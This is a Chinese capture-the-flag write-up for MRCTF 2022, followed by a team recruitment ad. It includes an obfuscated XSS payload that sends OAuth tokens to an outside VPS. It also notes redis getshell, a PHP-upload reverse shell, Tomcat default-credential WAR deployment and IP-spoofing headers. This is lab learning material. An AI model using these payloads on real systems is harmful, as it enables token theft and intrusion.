2022MRCTF-wp

Web

Just Hacking

爆出密码foobared
redis getshell 在root目录docker config发现账号密码。

登录发现私有镜像

本地运行getflag

God_of_GPA

笔记页面有dom xss
认证的地方存在xss 可把token发到其他地方
所以页面xss→oauth xss→vps

poc = """window.location=\"http://brtserver.node3.mrctf.fun/oauth/authorize?redirect_uri=http://brtclient.node3.mrctf.fun/login%22%2b1;window.location=%22http://120.26.59.137:901/\""""
poc_l = []
for i in poc:
    poc_l.append(ord(i))
t = ",".join(map(str,poc_l))
print(f"String.fromCharCode({t})")

POST /create HTTP/1.1
Host: brtclient.node3.mrctf.fun
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 936
Origin: http://brtclient.node3.mrctf.fun
Connection: close
Referer: http://brtclient.node3.mrctf.fun/create
Cookie: connect.sid=s%3Ax2L7352YTkIYM7IXQHY_EXhWB4jZFYPh.wcCiDIAad53o0ve1rswago6lshre8k2mKXY53DfOKl8
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
title=x&content=<img id="MyImg" name="MyImg" src=http://xonerror="οnerrοr='javascript:eval(String.fromCharCode(119,105,110,100,111,119,46,108,111,99,97,116,105,111,110,61,34,104,116,116,112,58,47,47,49,50,48,46,50,54,46,53,57,46,49,51,55,58,57,48,49,34))"onerror="eval(String.fromCharCode(119,105,110,100,111,119,46,108,111,99,97,116,105,111,110,61,34,104,116,116,112,58,47,47,98,114,116,115,101,114,118,101,114,46,110,111,100,101,51,46,109,114,99,116,102,46,102,117,110,47,111,97,117,116,104,47,97,117,116,104,111,114,105,122,101,63,114,101,100,105,114,101,99,116,95,117,114,105,61,104,116,116,112,58,47,47,98,114,116,99,108,105,101,110,116,46,110,111,100,101,51,46,109,114,99,116,102,46,102,117,110,47,108,111,103,105,110,37,50,50,37,50,98,49,59,119,105,110,100,111,119,46,108,111,99,97,116,105,111,110,61,37,50,50,104,116,116,112,58,47,47,49,50,48,46,50,54,46,53,57,46,49,51,55,58,57,48,49,47,34))"+"al" onerror="javascript:alert(6)">

提交后 vps获得token

访问

http://brtclient.node3.mrctf.fun/login?token=rFANjznMf279H2WdhX6NEPPWazGPKibk

自动登录 点击查看成绩获取flag

WebCheckIn

上传处会直接进行php解析 system直接反弹shell
/tmp/upload/exp.php.op下getflag

Java_mem_shell_Basic

tomcat默认口令
部署war包

ps aux|grep java
jmap -dump:format=b,file=e.bin 27
grep -Rian "MRCTF{"
e.bin:3291:� intersectionCastTypeBinding.�>Z0(Lorg/w3c/dom/Node;)S.���(Ljava/lang/Object;IC)V*.tT�Ljava/lang/management/MemoryUsage;.l�@cacheObjectMaxSize(.l��j2ee_web_services_client_1_1.xsdI.���com/sun/org/apache/xerces/internal/utils/XMLSecurityManager$State.���day of month.��FlowInfo<true: .�M��passesb.��<T:Ljava/lang/Object;>(Ljava/lang/ClassValue$Entry<TT;>;)Ljava/lang/ClassValue$Entry<TT;>;7.���MRCTF{Th1s_i5_4_Web5he11_l04ded_wi7h_JSPL0ader}.�
iArg.�

MRCTF{Th1s_i5_4_Web5he11_l04ded_wi7h_JSPL0ader}

Java_mem_shell_Filter

log4j
重复内存dump

jmap -dump:format=b,file=e.bin 54

Misc

pdd

一开始的思路，是不断的刷助力（我是拉测速网站放Cookie，队友好像是直接改XFF就可以，委屈住了），然后刷到99.999999999发现，再继续，还爆破了一遍action=lucky时enc看结果会不会有100，蚌住了，没有只会变小再重来。

确认是后端action=start初始化，action=lucky修改，action=getflag得flag。
后来，想破解加密（我一定是疯了）
总结规律

得到在测试各种用户名、余额生成的enc，发现这是分组加密，那么其实很显然就是利用分组加密的漏洞（看了*CTF 2021 才发现，但是人家好歹也给了部分源码），但是问题就在，他加密的是哪个字符串，经过测试后（对比对照，总结上述变化的规律，就很清晰的确认，他是把debug中的字符串做加密了。）
然后构造使用。

POST /lucky.php?action=getFlag HTTP/2
Host: ppd.node3.mrctf.fun
Cookie: PHPSESSID=501bbc1367274320a3fbe47321a6d2fa
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 332
Origin: https://ppd.node3.mrctf.fun
Referer: https://ppd.node3.mrctf.fun/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
X-Forwarded-For: 127.0.0.1
X-Originating-Ip: 127.0.0.1
X-Remote-Ip: 127.0.0.1
X-Remote-Addr: 127.0.0.1
Te: trailers
Connection: close
{"code":200,"debug":"O:4:\"User\":3:{s:8:\"username\";a:1:{i:0;i:590000000000000;}s:5:\"times\";i:0;s:5:\"money\";i:72;}","enc":"SRMr2xR0uuLsQScgoAegYwlz9tod7K3gLTPTcqOGlyY0umqpmC2H3sEcOHJOmzdBs/5+fMCPNhR4pR+FHJWe3eydb1UtueXoodo3h/v8zo9Gh1Qkg/K6xKRBgVNKHksD","times":"10","money":72,"userdb":"user_1a090ffa2d6ea2822dab48dc6b04d9ee"}

Connecting…

结合hint，分析如下

后续，在obj中翻ascii码，发现f */// 基本都是一样的，除了这几个

f 4d33/5237/6149 6354/4600/6869 6871/6871/6870

转ascii码有M3R7aIcTFhihqhqhp

尝试作为密码去解png，发现什么都没有。遂转wav。发现wav隐写
使用MP3Stego解得Base32，得flag。

FBGTGURXMFEWGVCGFEWSAKZAFVGVEQ2UIZ5VOSKGJFPTEMBSGJPWG33ONZSWG5C7ON2WGY3FONZWM5LMNR4SC7I

Tip

你是否想要加入一个安全团
拥有更好的学习氛围？
那就加入EDI安全，这里门槛不是很高，但师傅们经验丰富，可以带着你一起从基础开始，只要你有持之以恒努力的决心
EDI安全的CTF战队经常参与各大CTF比赛，了解CTF赛事，我们在为打造安全圈好的技术氛围而努力，这里绝对是你学习技术的好地方。这里门槛不是很高，但师傅们经验丰富，可以带着你一起从基础开始，只要你有持之以恒努力的决心，下一个CTF大牛就是你。
欢迎各位大佬小白入驻，大家一起打CTF，一起进步。
我们在挖掘，不让你埋没！
你的加入可以给我们带来新的活力，我们同样也可以赠你无限的发展空间。
有意向的师傅请联系邮箱root@edisec.net（带上自己的简历，简历内容包括自己的学习方向，学习经历等）